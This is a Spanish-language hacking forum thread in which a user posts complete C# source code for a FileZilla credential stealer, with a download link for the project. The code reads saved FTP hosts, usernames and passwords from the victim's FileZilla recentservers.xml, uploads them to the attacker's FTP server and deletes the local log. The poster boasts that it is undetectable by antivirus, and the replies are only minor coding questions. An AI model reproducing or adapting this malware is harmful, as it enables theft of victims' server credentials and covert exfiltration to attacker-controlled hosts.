[SourceCode]FileZilla Accounts Stealer

Iniciado por CorruptedByte, 17 Febrero 2012, 19:26 PM

0 Miembros y 1 Visitante están viendo este tema.

CorruptedByte

Hola, aqui les dejo un code que programe hace unos dias, su funcionamiento es basico al ejecutarlo guarda todas las cuentas FTP de filezilla en un documento de texto con el nombre de la maquina victima para diferenciarlos y los manda a tu servidor FTP seguido de eso elimina el fichero y aqui no paso nada XD. Es un codigo muy pequeño y sencillo pero 100% funcional e indetectable a cualquier antivirus o por lo menos hasta donde lo testee.

El codigo esta dividido en 3 clases para que le puedan dar uso por separado como ustedes guste.


Clase principal para la llamada de los metodos de las otras clases:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.NetworkInformation;
using System.IO;
using System.Xml;
using System.Threading;

namespace FileZillaStealer
{
    class Stealer
    {
        static void Main(string[] args)
        {
            string sLogs = IPGlobalProperties.GetIPGlobalProperties().HostName +"Logs.txt";
            AccountStealer StealAccounts = new AccountStealer();
            FTP SendAccounts = new FTP();
            StealAccounts.FileZillaAccounts(sLogs);
            SendAccounts.Send("ftp.server.com", "/public_html/", "user", "pass", sLogs);
            System.IO.File.Delete(sLogs);
        }
    }
}


Clase con el metodo sendo para enviar el fichero de texto con las cuentas guardadas:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;

namespace FileZillaStealer
{
    class FTP
    {
        public void Send(string sHost, string sDir, string sUser, string sPass, string sFile)
        {
            string ftpHostDirFile = "ftp://" + sHost +sDir +sFile;
            FtpWebRequest ftp = (FtpWebRequest)FtpWebRequest.Create(ftpHostDirFile);
            ftp.Credentials = new NetworkCredential(sUser, sPass);
            ftp.KeepAlive = true;
            ftp.UseBinary = true;
            ftp.Method = WebRequestMethods.Ftp.UploadFile;
            FileStream fs = File.OpenRead(sFile);
            byte[] buffer = new byte[fs.Length];
            fs.Read(buffer, 0, buffer.Length);
            fs.Close();
            Stream ftpstream = ftp.GetRequestStream();
            ftpstream.Write(buffer, 0, buffer.Length);
            ftpstream.Close();
        }
    }
}


Clase para el guarado de las cuentas de filezilla en un documento de texto:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Xml;
using System.Runtime.InteropServices;
using Microsoft.VisualBasic;

namespace FileZillaStealer
{
    class AccountStealer
    {
        public void FileZillaAccounts(string sLogsPath)
        {
            XmlDocument xmlAccountsFile = new XmlDocument();
            string sFilePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\FileZilla\\recentservers.xml";
            xmlAccountsFile.Load(sFilePath);
            XmlNodeList xmlRecentServers = xmlAccountsFile.GetElementsByTagName("RecentServers");
            XmlNodeList xmlList = ((XmlElement)xmlRecentServers[0]).GetElementsByTagName("Server");
            string sAccount;
            foreach (XmlElement nodo in xmlList)
            {
                XmlNodeList xmlHost = nodo.GetElementsByTagName("Host");
                XmlNodeList xmlPort = nodo.GetElementsByTagName("Port");
                XmlNodeList xmlUser = nodo.GetElementsByTagName("User");
                XmlNodeList xmlPass = nodo.GetElementsByTagName("Pass");
                sAccount = string.Format("Host: {0} Port: {1} User: {2} Pass: {3}", xmlHost[0].InnerText, xmlPort[0].InnerText, xmlUser[0].InnerText, xmlPass[0].InnerText);
                FileStream fsLogs = new FileStream(sLogsPath, FileMode.OpenOrCreate, FileAccess.Write);
                fsLogs.Close();
                StreamWriter swAccount = File.AppendText(sLogsPath);
                swAccount.WriteLine(sAccount);
                swAccount.Close();
            }
        }
}



Aqui les dejo el proyecto en VS2010:

Descarga:
http://www.mediafire.com/?2u2sns4d3rwdple
Contraseña:
Backroot.org

GameAndWatch

¡Gracias!
Estaba mirando lo de enviar archivos por algún medio y tengo una duda sobre StreamWriter...¿se tiene que declarar antes?

CorruptedByte

Cita de: GameAndWatch en 17 Febrero 2012, 19:44 PM
¡Gracias!
Estaba mirando lo de enviar archivos por algún medio y tengo una duda sobre StreamWriter...¿se tiene que declarar antes?

antes de que? de enviar?

GameAndWatch

Perdon por no dejarlo claro.Al final del guardado del archivo:

FileStream fsLogs = new FileStream(sLogsPath, FileMode.OpenOrCreate, FileAccess.Write);
                fsLogs.Close();
                StreamWriter swAccount = File.AppendText(sLogsPath);
                swAccount.WriteLine(sAccount);
                swAccount.Close();

A este me refiero.
¿se declara antes de usarlo?¿donde?

CorruptedByte

Cita de: GameAndWatch en 17 Febrero 2012, 21:29 PM
Perdon por no dejarlo claro.Al final del guardado del archivo:

FileStream fsLogs = new FileStream(sLogsPath, FileMode.OpenOrCreate, FileAccess.Write);
                fsLogs.Close();
                StreamWriter swAccount = File.AppendText(sLogsPath);
                swAccount.WriteLine(sAccount);
                swAccount.Close();

A este me refiero.
¿se declara antes de usarlo?¿donde?

a claro streamwriter esta en using System.IO;